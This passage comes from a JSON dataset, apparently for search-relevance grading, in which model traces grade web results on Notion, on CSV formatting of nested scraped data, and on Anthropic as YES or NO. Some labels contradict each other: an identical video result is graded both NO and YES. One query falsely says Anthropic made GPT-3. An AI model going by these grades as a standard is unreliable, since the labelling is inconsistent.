                "text": "Wikis It\u2019s hard to move fast if you can\u2019t find anything. Centralize all your knowledge in Notion. Explore Docs Simple. Powerful. Beautiful. Communicate more efficiently with next generation docs. Explore Projects Manage any type of project more efficiently. No separate, clunky system. Explore We got rid of nearly a dozen different tools because of what Notion does for us. Notion adapts to your needs. It\u2019s as minimal or as powerful as you need it to be. Rahim Makani Director of Product, Matchgroup Deborah Mecca @DebMecca I used to HATE documenting things. And then I started using @NotionHQ and I document a lot. A LOT A LOT. Now I just realize that it wasn't that I hated documenting, I just hated Google Docs. Andr\u00e9 Blackman @mindofandre One of the most incredible things about @NotionHQ is the dynamic community being built - creating and sharing at its best. Oliver Peyre @opeyre @NotionHQ Truly impressed by the velocity and quality of your work. Making using Notion even more fun week after week!",
                "model_trace": "Query Decomposition:\n1. {Founding of Notion}: The document does not provide information about Notion's founding -> ([0], UNSATISFIED)\n2. {Leadership team}: The document does not provide information about Notion's leadership team -> ([0], UNSATISFIED)\n3. {Product features}: The document provides an overview of Notion's features, such as wikis, docs, and project management -> ([1], SATISFIED)\n4. {Target market}: The document does not explicitly mention Notion's target market, but it can be inferred from the testimonials that it is aimed at teams and organizations -> ([2], SATISFIED)\n5. {Comparison to similar productivity software like Airtable and Trello}: The document does not provide a comparison to other productivity software -> ([0], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {product features} and {target market}. Since both are satisfied, the document is partially helpful for the user's request. However, it lacks critical information about the founding, leadership team, and comparisons to other software, which are significant parts of the query.\n\nNO."
            },
            {
                "grade": "NO",
                "title": "Notion \u2013 The all-in-one workspace for your notes, tasks, wikis, and databases.",
                "url": "https://www.notion.so/",
                "published_date": null,
                "text": "Wikis It\u2019s hard to move fast if you can\u2019t find anything. Centralize all your knowledge in Notion. Explore Docs Simple. Powerful. Beautiful. Communicate more efficiently with next generation docs. Explore Projects Manage any type of project more efficiently. No separate, clunky system. Explore We got rid of nearly a dozen different tools because of what Notion does for us. Notion adapts to your needs. It\u2019s as minimal or as powerful as you need it to be. Rahim Makani Director of Product, Matchgroup Deborah Mecca @DebMecca I used to HATE documenting things. And then I started using @NotionHQ and I document a lot. A LOT A LOT. Now I just realize that it wasn't that I hated documenting, I just hated Google Docs. Andr\u00e9 Blackman @mindofandre One of the most incredible things about @NotionHQ is the dynamic community being built - creating and sharing at its best. Oliver Peyre @opeyre @NotionHQ Truly impressed by the velocity and quality of your work. Making using Notion even more fun week after week!",
                "model_trace": "Query Decomposition:\n1. {Overview of Notion's founding}: The document does not provide information about the founding of Notion -> ([0], UNSATISFIED)\n2. {Leadership team}: The document does not provide information about the leadership team -> ([0], UNSATISFIED)\n3. {Product features}: The document provides information about various features of Notion, such as wikis, docs, and project management -> ([1], SATISFIED)\n4. {Target market}: The document does not explicitly mention the target market but implies a broad usage for different needs -> ([2], SATISFIED)\n5. {Comparison to similar productivity software like Airtable and Trello}: The document does not provide any comparison to other productivity software -> ([0], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {Product features} and {Target market}. Both of these subcomponents are satisfied by the document. However, significant parts of the query, such as founding, leadership team, and comparison to similar software, are not addressed. Given the user's detailed request, the document does not provide a comprehensive answer.\n\nNO."
            },
            {
                "grade": "NO",
                "title": "What is Notion?",
                "url": "https://www.notion.so/help/guides/what-is-notion",
                "published_date": "2022-03-31",
                "text": "Help Center Guides \u2190 Guides Notion is a single space where you can think, write, and plan. Capture thoughts, manage projects, or even run an entire company \u2014 and do it exactly the way you want. 4 min video Share this guide Something we didn't cover? Visit the help center Subscribe on Youtube",
                "model_trace": "Query Decomposition:\n1. {Overview of Notion's founding}: The document does not provide any information about Notion's founding -> ([0], UNSATISFIED)\n2. {Leadership team}: The document does not provide any information about Notion's leadership team -> ([0], UNSATISFIED)\n3. {Product features}: The document briefly mentions that Notion is a space to think, write, and plan, but lacks detailed features -> ([1], UNSATISFIED)\n4. {Target market}: The document does not specify Notion's target market -> ([0], UNSATISFIED)\n5. {Comparison to similar productivity software like Airtable and Trello}: The document does not provide any comparisons to other productivity software -> ([0], UNSATISFIED)\n\nAssessment: The document does not satisfy any of the subcomponents tagged with [1] or [2]. Therefore, it is not helpful for the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "How Notion Grows. What we can learn about product-led ...",
                "url": "https://uxplanet.org/how-notion-grows-5cf152e81e46",
                "published_date": null,
                "text": "What we can learn about product-led and community-led growth strategies from a $10bn SaaS startup.                 This post was originally published on my free newsletter, How They Grow, where every other week, I pick one company/startup you probably know, and go deep on their go-to-market strategy, how they acquired early customers, and what their current growth engine looks like.    Over the past couple of weeks, I\u2019ve been going down several a rabbit hole to learn as much as I can about a humble little multi-billion dollar company called Notion \u2014 trying to get a solid understanding of what\u2019s made them such a startup success story, as well as what actionable, no bullshit, advice I can extract for us to use on growth \u2014 and there\u2019s a lot if it!  Here\u2019s what to expect in this piece:  Introduction    What they do, where they came from, why we should care   Market positioning    How they grow    Product-led growth   Community-led growth   As we go, I\u2019ll be calling out key learnings and takeaways that can help all of us build and grow better businesses, and also sound smarter in our next meeting. \ud83d\ude0e I do have just one ask of you though \u2014 if you learn at least one new thing, please consider subscribing (www.howtheygrow.co), sharing or just giving it a like! Thank you \ud83d\ude4f And on that note, let\u2019s not waste any more time with the pleasantries, and let\u2019s get down to the brass tacks of it (a new idiom I learned and now use way to often).   Meet the everything workspace. The great bundling. Once upon a time, if you had an idea on how to improve your mud hut building business, or a list of fruits and berries your wife told you to go gather, or a bunch things to plan before your holiday to another village that had a bigger fire pit than yours \u2014 all you\u2019d have to help you look after that information is (1) your good \u2018ol memory, and (2) the hope that anyone you told accurately remembered. Fast forward a couple thousand millennia \u2014 and along with the progress of more interesting tourist attractions, the way we keep track of (and wo",
                "model_trace": "Query Decomposition:\n1. {Founding of Notion}: The document does not provide specific information about the founding of Notion -> ([0], UNSURE)\n2. {Leadership team}: The document does not provide specific information about the leadership team -> ([0], UNSURE)\n3. {Product features}: The document mentions \"Meet the everything workspace\" and \"product-led growth,\" suggesting it might discuss product features -> ([2], UNSURE)\n4. {Target market}: The document discusses market positioning and growth strategies, implying it may cover the target market -> ([2], SATISFIED)\n5. {Comparison to Airtable and Trello}: The document does not provide a direct comparison to Airtable and Trello -> ([0], UNSURE)\n\nAssessment: The document provides some information on Notion's market positioning and growth strategies, which may indirectly touch on the target market. However, it lacks specific details on the founding, leadership team, product features, and direct comparisons to Airtable and Trello. Therefore, it does not fully satisfy the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "Notion for Startups",
                "url": "https://www.notion.so/startups",
                "published_date": null,
                "text": "90% of Forbes Cloud 100 companies use Notion   50% of YC companies use Notion   70% of users replaced 2+ tools    It\u2019s hard to move fast with a clunky &amp; disorganized workspace. Centralize all your knowledge in Notion instead.       Simple. Powerful. Beautiful. Communicate more efficiently with flexible building blocks.       Manage any type of project, no matter the team or size.       Access the limitless power of AI, right inside Notion. Work faster. Write better. Think bigger.         It helps keep us all aligned around the core mission of enabling a creative renaissance by helping writers flourish and can serve as a source of truth for our philosophies and plans for how to make that happen.        We use Notion as our operating system for everything, from engineering specs to new hire onboarding. Our team tripled in size this past year, and Notion allowed us to keep all information central and quickly accessible.    Nashilu Mouen-Makoua Head of Growth &amp; Operations, Clay      New Notion customer   Under 50 employees   Raised under $10 million in funding   Affiliated with one of our startup partners       New Notion customer   Under 50 employees   Raised $50K - $10 million in funding                   Questions &amp; answers    Who is eligible?    You must be a non-paying Notion customer, with less than\u00a050\u00a0employees and under $10M\u00a0in funding from an accredited investor. See\u00a0full terms and conditions.      Why is Notion offering a discount for startups?    We've seen thousands of startups use Notion to get going on the right foot \u2014 as a wiki, for project management, document sharing, notes, and more. We want to help more companies lay a strong foundation that can grow with them from the beginning.      How do I apply to receive the discount?     What is the offer worth?    Notion\u2019s\u00a0Plus Plan\u00a0costs $10 per member per month paid monthly. Notion\u2019s\u00a0AI\u00a0add-on costs $10 per member per month paid monthly. The startup offer is equivalent to a maximum of $6,000 for 50 employees. This is 6X higher compared to our ",
                "model_trace": "Query Decomposition:\n1. [Notion's founding]: The document does not contain information about Notion's founding -> ([0], UNSATISFIED)\n2. [Leadership team]: The document does not contain information about Notion's leadership team -> ([0], UNSATISFIED)\n3. [Product features]: The document mentions some product features like centralizing knowledge, flexible building blocks, project management, AI integration -> ([1], SATISFIED)\n4. [Target market]: The document mentions that Notion is used by Forbes Cloud 100 companies, YC companies, and startups with under 50 employees and under $10M in funding -> ([1], SATISFIED)\n5. [Comparison to similar productivity software like Airtable and Trello]: The document does not contain a direct comparison to Airtable and Trello -> ([0], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {Product features} and {Target market}. Both of these are satisfied by the document. However, it lacks information on Notion's founding, leadership team, and comparison to similar productivity software, which are critical for a comprehensive overview.\n\nNO."
            },
            {
                "grade": "YES",
                "title": "The Startup Intro Guide to Notion | by Tem Nugmanov",
                "url": "https://medium.com/optemization/the-startup-intro-guide-to-notion-5f7dbe25dd3",
                "published_date": null,
                "text": "You probably heard the hype. You probably heard about the recent funding round that birthed a unicorn. You probably heard that Index, First Round, Sequoia and Naval Ravikant are on the cap table. You might\u2019ve even seen Franceso D\u2019Alessio meticulously break down Notion\u2019s features and updates. Nevertheless, a familiar voice in your head asks, \u201canother organization/productivity application \u2014 how different can it possibly be?\u201d Same. I know the routine all too well. Find a cool new tool on Product Hunt, get excited, get teammates excited, learn, scratch head, ask support, wait, abandon, try again, give up, cry, and surrender to Google Sheets. Two years ago, that was me. Deep in the dreaded cycle of the \u201cunproductivity Matrix.\u201d  Remixed this image by Andrew Sweeny using Figma; logos from World Vector Logo.    Why Notion Is Perfect for Founders \ud83d\udcaf Wearing all the hats at an early-stage startup is difficult. Exploring, learning, buying, installing and integrating new software is part of the game but it is neither important nor urgent. The peril of spending excess time on digital organization and asset management brings upon the lack of meaningful focus on customers and product. Notion is an all-in-one solution that erases the need to wrangle and connect gazillions of scattered tools. In a single illustration, Roman Muradov, the team\u2019s artist, eloquently captured the problem being solved \ud83d\udc47  From \u201cNotion for Work\u201d webpage   It solved the problem for me. I was running a $50k collegiate accelerator at New York University with 11 teammates. This effort required managing 30 events, 12 ventures, a $70,000 budget and two mostly unimpressed engineering school deans. For a while, we were a usually Airtable, sometimes Google Drive, kinda Slack but always Zapier shop. Most of the time, solely I carried the burden of really knowing what the heck was going on. Enter Notion. I was fishing for something new and Product Hunt brought me a gift that day. The beautiful aesthetic and 6,237 upvotes stood out, so I jumped to register. Importing",
                "model_trace": "Query Decomposition:\n1. {Notion's founding}: The document does not provide specific information about the founding of Notion -> ([0], UNSATISFIED)\n2. {Notion's leadership team}: The document does not provide specific information about the leadership team of Notion -> ([0], UNSATISFIED)\n3. {Notion's product features}: The document mentions some features of Notion and how it integrates various tools -> ([1], SATISFIED)\n4. {Notion's target market}: The document discusses how Notion is useful for founders and early-stage startups, which gives an idea of its target market -> ([1], SATISFIED)\n5. {Comparison to similar productivity software like Airtable and Trello}: The document briefly mentions Airtable and other tools, but does not provide a detailed comparison -> ([2], UNSURE)\n\nAssessment: The relevant subcomponents are {Notion's product features} and {Notion's target market}, both of which are satisfied. The document does not provide detailed information about Notion's founding, leadership team, or a thorough comparison to similar productivity software, but these subcomponents are tagged [0] and thus do not affect the overall evaluation. YES."
            }
        ]
    },
    {
        "query": "I'm trying to build a simple Python script that scrapes data from a website and saves it to a CSV file. I've gotten the scraping part working, but I'm having trouble with the CSV file formatting. The data I'm scraping has a lot of nested information, like product details with multiple attributes. How can I structure the CSV file to best represent this nested data?",
        "grid_pos": [
            2,
            5
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Github/StackOverflow/Code/Debugging Resource",
        "reasoning_trace": [
            "The queries cover a range of technical topics that require specific knowledge and resources to answer well, including:\n1. Structuring nested data in a CSV file for web scraping\n2. Finding open-source medical datasets for machine learning\n3. Choosing the right pathfinding algorithm for game AI\n4. Implementing real-time functionality like chat in a web app\n5. Recreating the retro UI style of Stranger Things in a personal project\nThese queries require the user to have a deep understanding of the respective domains, as well as familiarity with relevant tools, libraries, and best practices. The level of detail and nuance in each query makes them challenging for a standard search engine to answer comprehensively."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Structuring data",
                "url": "https://open.cs.uwaterloo.ca/python-from-scratch/12/",
                "published_date": null,
                "text": "skip to main content\nPython from scratch\nPython panel\n Opens a Python environment.\nHelp\n Opens help pages.\nCEMC Courseware > Home >Python from scratch >12. Structuring data\n\nStructuring data\n\nStep 1\n\nStep 2\n\nStep 3\n\nStep 4\n\nStep 5\n\nStep 6",
                "model_trace": "Query Decomposition:\n1. {simple Python script that scrapes data from a website}: The document does not provide information about web scraping -> ([0], UNSURE)\n2. {saves data to a CSV file}: The document does not provide information about saving data to a CSV file -> ([0], UNSURE)\n3. {trouble with CSV file formatting}: The document does not provide information about CSV file formatting -> ([0], UNSURE)\n4. {nested information like product details with multiple attributes}: The document does not provide information about handling nested information in CSV files -> ([0], UNSURE)\n\nAssessment: The document does not contain any relevant information to address the user's query about structuring CSV files with nested data. NO."
            },
            {
                "grade": "NO",
                "title": "Data analysis from a CSV file in Python",
                "url": "https://www.100daysofdata.com/python-csv-data-analysis",
                "published_date": "2022-05-25",
                "text": "What is a CSV file?\n CSV stands for comma separated value. \nYou might have come across this file format while downloading data from an excel spreadsheet or a database. CSV files are convenient for storing tabular data.\nIt should be clear from the name that values in a CSV file are separated by a comma(by default). \nBelow is an example of CSV file containing information about a family.\n my_family.csv \n name,age,height(cm),weight(kg)\nLenin,30,188,90\nPhil,42,178,76\nClaire,40,165,54\nAlex,18,140,46\n\nUsually the first line in a CSV file is called the Header which identifies the column name and data type. Every row after the header is a data record.\nFrom the above example, you can see that each value(whether part of header or a data record) is separated by a comma. This separator character is called a Delimiter. A CSV file may use other delimiters other than comma.\nExamples of other delimiter -\n\ntab \\t \ncolon : \nsemi colon ; \npipe |\n\nIn this article, you will learn to work with CSV files using the csv module and the pandas library.\n\nHow to read CSV files using the csv module?\nReading from a CSV file is done with the csv.reader object. You can open the CSV file as a text file with Python\u2019s built-in open() function.\n Example 1 \n import csv\nwith open('my_family.csv') as input:\n csv_reader = csv.reader(input, delimiter=',')\n line_count = 0\n for row in csv_reader:\n if line_count == 0:\n print(f'Header row - {\", \".join(row)}')\n line_count += 1\n else:\n print(f'{row[0]} is {row[1]} years old, {row[2]} cm tall and {row[3]} kg heavy')\n line_count += 1\n print(f'Total: {line_count} lines')\n\nOutput \n Header row - name, age, height(cm), weight(kg)\nLenin is 30 years old, 188 cm tall and 90 kg heavy\nPhil is 42 years old, 178 cm tall and 76 kg heavy\nClaire is 40 years old, 165 cm tall and 54 kg heavy\nAlex is 18 years old, 140 cm tall and 46 kg heavy\nTotal: 5 lines\n\nSince the first row is the header row(line_count will be 0), it is treated differently. You can also skip the header row while reading the CSV.\n\nSince csv.reader object is an ",
                "model_trace": "Query Decomposition:\n1. {build a simple Python script that scrapes data from a website and saves it to a CSV file}: The document does not mention web scraping -> ([0], UNSURE)\n2. {trouble with the CSV file formatting}: The document provides a basic understanding of CSV file structure and how to read CSV files using Python -> ([1], SATISFIED)\n3. {nested information, like product details with multiple attributes}: The document does not address how to handle nested information in CSV files -> ([0], UNSURE)\n\nAssessment: The document provides basic information on CSV file structure and how to read CSV files using Python, but it does not address the specific issue of handling nested data in CSV files. Since the critical subcomponent about nested information is not addressed, the document is not helpful for the user's query. NO."
            },
            {
                "grade": "YES",
                "title": "Flexible CSV Handling in Python with DictReader and DictWriter",
                "url": "https://dev.to/bowmanjd/flexible-csv-handling-in-python-with-dictreader-and-dictwriter-3hae",
                "published_date": "2020-09-21",
                "text": "The code in this article is also available in a public Github repo here.\n\nPython is great for data wrangling. Do you find yourself engaging in the process of extracting data from one system, transforming it, and then loading it into another (sometimes called ETL)?. You may have encountered CSV files a time or two, then.\n CSV files are often used as a vehicle to carry large simple tables of data. Python has built-in CSV handling capability. In this article, we will explore a flexible way of reading and saving CSV files using Python's csv.DictReader and csv.DictWriter.\n\nFlexible field handling\n\nIn this instance, I use flexible to mean resiliency in the handler when dealing with dynamic columns.\nImagine this scenario: the system you are extracting from changes (a product upgrade, for instance) adding fields to the CSV export file. And, conveniently, adds them as columns, not at the end, but in the middle, or at the leftmost column. Oh, the agony, if you expect certain data to be in the 3rd column, and that data is now in the 4th! Is there a way to construct a handler in Python that can handle this sort of moving target gracefully?\nYes.\n\nA CSV example\n\nLet's take a look at some tabular data (in other words, data in a table):\n\nLast name\nFirst name\nMiddle name\nRole\nSchool\nGrade\n\nHerman\nPreston\nElliott\nTeacher\nSouthside\n\nRandolph\nFinnegan\nBraylon\nStudent\nEastside\n12\n\nHood\nEaston\nFernando\nStudent\nSouthside\n7\n\nKemp\nLogan\nKinsley\nTeacher\nSouthside\n\nThe above data in CSV format, with a header row, should look like this:\n\nLast name,First name,Middle name,Role,School,Grade\nHerman,Preston,Elliott,Teacher,Southside,\nRandolph,Finnegan,Braylon,Student,Eastside,12\nHood,Easton,Fernando,Student,Southside,7\nKemp,Logan,Kinsley,Teacher,Southside,\n\nEnter fullscreen mode\n\nExit fullscreen mode\n\nIf you would like, you can download the above CSV sample here.\nPlace the above in a file called sample.csv in your current working directory. You may also clone the repo for this article and follow along in that way.\n\nLoading the CSV file\n\nTo load ",
                "model_trace": "Query Decomposition:\n1. {Python script that scrapes data and saves to CSV}: The document is about handling CSV files in Python, which is relevant to the user's task of saving scraped data to a CSV file -> ([1], SATISFIED)\n2. {trouble with CSV file formatting}: The document discusses flexible handling of CSV files, which can help with formatting issues -> ([1], SATISFIED)\n3. {nested information in CSV}: The document does not explicitly address handling nested information in CSV files -> ([0], UNSURE)\n\nAssessment: The document provides relevant information on handling and formatting CSV files in Python, which is directly useful for the user's query about CSV file formatting. Although it does not specifically address nested information, the general guidance on flexible CSV handling is likely beneficial. YES."
            },
            {
                "grade": "NO",
                "title": "I'm trying to web scrape a webpage and store the data in a ...",
                "url": "https://stackoverflow.com/questions/56839877/im-trying-to-web-scrape-a-webpage-and-store-the-data-in-a-csv-file-but-i-cant",
                "published_date": null,
                "text": "I'm trying to web scrape from this link, https://www.premierleague.com/stats/top/players/goals?se=-1\nAnd I don't seem to be successful.\nBelow is the code I tried.\n from urllib.request import urlopen\nfrom bs4 import BeautifulSoup\nimport requests\nimport csv`\nurl = \"https://www.premierleague.com/stats/top/players/goals?se=-1\"\nhtml = urlopen(url)\nbs = BeautifulSoup(html, 'html.parser')\n#print(bs)\nlistings = []\nfor rows in bs.find_all(\"tr\"):\n if(\"oddrow\" in rows[\"class\"]) or (\"evenrow\" in rows[\"class\"]):\n name = rows.find(\"div\", class_=\"playerName\").a.get_text()\n country = rows.find_all(\"td\")[1].get_text()\n goals = rows.find_all(\"td\")[4].get_text()\n listings.append([name, country, goals])\nwith open(\"EPL_TEST.csv\", 'a', encoding = 'utf-8') as toWrite:\n writer = csv.writer(toWrite)\n writer.writerows(listings)\nprint(\"Data Fetched\")\n \nThis is the error I'm getting: C:\\Users\\Siddhardh\\Desktop\\Python\\Projects\\FinalProject\\venv\\Scripts\\python.exe C:/Users/Siddhardh/Desktop/Python/Projects/FinalProject/Scraping.py\nTraceback (most recent call last): File \"C:/Users/Siddhardh/Desktop/Python/Projects/FinalProject/Scraping.py\", line 16, in &lt;module&gt;\nif(\"oddrow\" in rows[\"class\"]) or (\"evenrow\" in rows[\"class\"]): File \"C:\\Users\\Siddhardh\\Desktop\\Python\\Projects\\FinalProject\\venv\\lib\\site-packages\\bs4\\element.py\", line 1016, in __getitem__ return self.attrs[key] KeyError: 'class' \n Process finished with exit code 1 \nI need to get the names, country and goals of all the players into a CSV file.\nP.S. Pardon my editing skills. This is my first post here. I'll learn.",
                "model_trace": "Query Decomposition:\n1. {Build a simple Python script that scrapes data from a website}: The document contains a Python script for web scraping, so this subcomponent is met -> ([1], SATISFIED)\n2. {Save scraped data to a CSV file}: The document includes code to save data to a CSV file, so this subcomponent is met -> ([1], SATISFIED)\n3. {CSV file formatting for nested information}: The document does not address how to structure a CSV file to represent nested data -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {Build a simple Python script that scrapes data from a website} and {Save scraped data to a CSV file}. Both of these are satisfied. However, the document does not address the specific issue of formatting nested data in a CSV file, which is a key part of the user's query. Therefore, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Webscraping with Python How to Save to CSV, JSON and ...",
                "url": "https://www.youtube.com/watch?v=Q_ZLJ77zApY",
                "published_date": null,
                "text": "Join the Discord to discuss all things Python and Web with our growing community! https://discord.gg/C4J2uckpbR\nThis is the fourth video in the webscraping 101 series, aimed out how to export out scraped data to json and csv, along with some simple data cleaning pipelines.\nThis is a series so make sure you subscribe to get the remaining episodes as they are released!\nIf you are new, welcome! I am John, a self taught Python (and Go, kinda..) developer working in the web and data space. I specialize in data extraction and JSON web API's both server and client. If you like programming and web content as much as I do, you can subscribe for weekly content.\n:: Links ::\nRecommender Scraper API https://www.scrapingbee.com/?fpr=jhnwr\nMy Patrons Really keep the channel alive, and get extra content https://www.patreon.com/johnwatsonrooney (NEW free tier)\nI Host almost all my stuff on Digital Ocean https://m.do.co/c/c7c90f161ff6\nI rundown of the gear I use to create videos https://www.amazon.co.uk/shop/johnwatsonrooney\n:: Disclaimer ::\nSome/all of the links above are affiliate links. By clicking on these links I receive a small commission should you chose to purchase any services or items.\n| view_count: 4,963 views | short_view_count: 4.9K views | num_likes: 196 | num_subscribers: 78.3K",
                "model_trace": "Query Decomposition:\n1. {building a simple Python script that scrapes data from a website}: The document indicates it is part of a web scraping series, so it likely covers this aspect -> ([1], SATISFIED)\n2. {saving data to a CSV file}: The document mentions exporting scraped data to CSV -> ([1], SATISFIED)\n3. {trouble with CSV file formatting}: The document does not explicitly mention addressing CSV formatting issues, especially with nested data -> ([0], UNSURE)\n4. {structuring CSV file to best represent nested data}: The document does not explicitly mention how to structure CSV files for nested data -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {building a simple Python script that scrapes data from a website} and {saving data to a CSV file}. Both of these subcomponents are satisfied by the document. However, the document does not explicitly address the user's specific issue with CSV file formatting and structuring for nested data.\n\nGiven the user's specific query about handling nested data in CSV files, the document does not seem to provide the detailed guidance needed for that particular issue. NO."
            },
            {
                "grade": "YES",
                "title": "Webscraping with Python How to Save to CSV, JSON and ...",
                "url": "https://www.youtube.com/watch?v=Q_ZLJ77zApY",
                "published_date": null,
                "text": "Join the Discord to discuss all things Python and Web with our growing community! https://discord.gg/C4J2uckpbR\nThis is the fourth video in the webscraping 101 series, aimed out how to export out scraped data to json and csv, along with some simple data cleaning pipelines.\nThis is a series so make sure you subscribe to get the remaining episodes as they are released!\nIf you are new, welcome! I am John, a self taught Python (and Go, kinda..) developer working in the web and data space. I specialize in data extraction and JSON web API's both server and client. If you like programming and web content as much as I do, you can subscribe for weekly content.\n:: Links ::\nRecommender Scraper API https://www.scrapingbee.com/?fpr=jhnwr\nMy Patrons Really keep the channel alive, and get extra content https://www.patreon.com/johnwatsonrooney (NEW free tier)\nI Host almost all my stuff on Digital Ocean https://m.do.co/c/c7c90f161ff6\nI rundown of the gear I use to create videos https://www.amazon.co.uk/shop/johnwatsonrooney\n:: Disclaimer ::\nSome/all of the links above are affiliate links. By clicking on these links I receive a small commission should you chose to purchase any services or items.\n| view_count: 4,963 views | short_view_count: 4.9K views | num_likes: 196 | num_subscribers: 78.3K",
                "model_trace": "Query Decomposition:\n1. {Building a simple Python script that scrapes data from a website}: The document is about web scraping with Python, so this subcomponent is likely met -> ([1], SATISFIED)\n2. {Saving scraped data to a CSV file}: The document mentions exporting scraped data to CSV, so this subcomponent is likely met -> ([1], SATISFIED)\n3. {Handling nested information in CSV file formatting}: The document does not provide specific details on handling nested information in CSV file formatting -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {Building a simple Python script that scrapes data from a website} and {Saving scraped data to a CSV file}. Since both of these subcomponents are satisfied, the document is helpful for the user's query. YES."
            }
        ]
    },
    {
        "query": "I'm looking for information on the startup Anthropic, the company that created the large language model GPT-3. I'd like to know more about their founding story, their mission and values, their key employees, and how their technology works.",
        "grid_pos": [
            2,
            4
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Company/Startup/Corporation",
        "reasoning_trace": [
            "The provided queries are all focused on finding information about specific companies, startups, or technology products/services. They require a good understanding of the business landscape, competitive dynamics, and technical details to answer thoroughly. The queries cover a range of industries and use cases, from cloud computing and HR software to chatbots and productivity tools. Answering these queries well would demonstrate the search engine's ability to surface relevant, in-depth information from a variety of sources to meet the user's research needs."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Anthropic",
                "url": "https://www.anthropic.com/",
                "published_date": "2005-01-01",
                "text": "Request Access\n\nEmail Business email if applicable\n\nWhich product(s) are you interested in using?\nClaude web appAPIClaude in Slack\n\nWhy do you want to use Claude?\nPersonalAcademicBusiness (internal tool)Business (external product)\n\nCompany or organization name\n\nCompany or organization website\n\nCompany or organization size\n\nWhat tasks do you want to use Claude to help you with?\nI don't know yetClassificationCodingContent generation (fiction)Content generation (non-fiction)Customer supportEditingSearchSummarizationTranslationLet me type\n\nWhy do you want to work with Anthropic?\n\nI want to receive updates about new features and products from Anthropic",
                "model_trace": "Query Decomposition:\n1. {information on the startup Anthropic}: The document is the homepage of Anthropic, so it is likely relevant -> ([1], SATISFIED)\n2. {founding story}: The document does not provide any information about the founding story -> ([0], UNSATISFIED)\n3. {mission and values}: The document does not provide any information about the mission and values -> ([0], UNSATISFIED)\n4. {key employees}: The document does not provide any information about key employees -> ([0], UNSATISFIED)\n5. {how their technology works}: The document does not provide any information about how their technology works -> ([0], UNSATISFIED)\n\nAssessment: The document only satisfies the subcomponent {information on the startup Anthropic} and does not provide the specific details about the founding story, mission and values, key employees, or how their technology works. Therefore, it is not helpful for the user's query. NO."
            },
            {
                "grade": "YES",
                "title": "Anthropic - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Anthropic",
                "published_date": "2023-02-06",
                "text": "Toggle the table of contents\n\nFrom Wikipedia, the free encyclopedia\n\nAnthropic Industry Artificial intelligence Founded 2021; 2 years ago Founders Daniela Amodei Dario Amodei Headquarters San Francisco, California, U.S. Products Claude Website anthropic .com \n Anthropic is an American, artificial intelligence (AI) startup and public-benefit corporation, founded by former members of OpenAI. [1] [2] Anthropic specializes in developing general AI systems and language models, with a company ethos of responsible AI usage. Since late 2022, Google has invested nearly $400 million in the company, with Anthropic announcing a formal partnership with Google Cloud. [3] [4] [5]\n\nHistory[edit]\nAnthropic was founded in 2021 by former senior members of OpenAI, principally siblings Daniela Amodei and Dario Amodei, the latter whom served as OpenAI's Vice President of Research. [6] [7] [8] The Amodei siblings were among others who left OpenAI due to directional differences, specifically regarding OpenAI's ventures with Microsoft in 2019. [9]\n\nProjects[edit]\nClaude[edit]\nConsisting of former researchers involved in OpenAI's ChatGPT, Anthropic began development on its own AI chatbot, named Claude. [10] Similar to ChatGPT, Claude uses a messaging interface where users can submit questions or requests and receive highly-detailed and relevant responses. [11] \n The chatbot is currently in closed beta through a Slack integration. [12]\n\nReferences[edit]\n\n^ \"ChatGPT must be regulated and A.I. 'can be used by bad actors,' warns OpenAI's CTO\". finance.yahoo.com. Retrieved 2023-02-06.\n\n^ Vincent, James (2023-02-03). \"Google invested $300 million in AI firm founded by former OpenAI researchers\". The Verge. Retrieved 2023-02-06.\n\n^ \"Google Invests Almost $400 Million in ChatGPT Rival Anthropic\". Bloomberg.com. 2023-02-03. Retrieved 2023-02-06.\n\n^ \"Google invests $300 million in Anthropic as race to compete with ChatGPT heats up\". VentureBeat. 2023-02-03. Retrieved 2023-02-06.\n\n^ \"Google invests nearly $400 million in ChatGPT rival Anthropic: Rep",
                "model_trace": "Query Decomposition:\n1. {information on the startup Anthropic}: The document is about Anthropic -> ([1], SATISFIED)\n2. {company that created the large language model GPT-3}: The document does not mention GPT-3 but does mention that Anthropic developed a chatbot named Claude -> ([0], UNSURE)\n3. {founding story}: The document provides information on the founding of Anthropic, including the founders and reasons for leaving OpenAI -> ([1], SATISFIED)\n4. {mission and values}: The document mentions that Anthropic has an ethos of responsible AI usage -> ([1], SATISFIED)\n5. {key employees}: The document mentions the founders Daniela Amodei and Dario Amodei -> ([1], SATISFIED)\n6. {how their technology works}: The document provides some information on their AI chatbot Claude and its functionality -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents {information on the startup Anthropic}, {founding story}, {mission and values}, {key employees}, and {how their technology works} are all satisfied. The subcomponent regarding GPT-3 is tagged [0] and should be ignored in the final assessment.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "Anthropic raises $124 million to build more reliable, general AI systems",
                "url": "https://www.anthropic.com/news/anthropic-raises-124-million-to-build-more-reliable-general-ai-systems",
                "published_date": "2021-05-28",
                "text": "Anthropic, an AI safety and research company, has raised $124 million in a Series A. The financing round will support Anthropic in executing against its research roadmap and building prototypes of reliable and steerable AI systems. The company is led by siblings Dario Amodei (CEO) and Daniela Amodei (President). The Anthropic team has previously conducted research into GPT-3, Circuit-Based Interpretability, Multimodal Neurons, Scaling Laws, AI & Compute, Concrete Problems in AI Safety, and Learning from Human Preferences. Anthropic will use the funding for computationally-intensive research to develop large-scale AI systems that are steerable, interpretable, and robust. \u201cAnthropic\u2019s goal is to make the fundamental research advances that will let us build more capable, general, and reliable AI systems, then deploy these systems in a way that benefits people. We\u2019re thrilled to be working with investors that support us in this mission and expect to concentrate on research in the immediate term,\u201d said Anthropic CEO Dario Amodei. Anthropic will focus on research into increasing the safety of AI systems; specifically, the company is focusing on increasing the reliability of large-scale AI models, developing the techniques and tools to make them more interpretable, and building ways to more tightly integrate human feedback into the development and deployment of these systems. The Series A round was led by Jaan Tallinn, 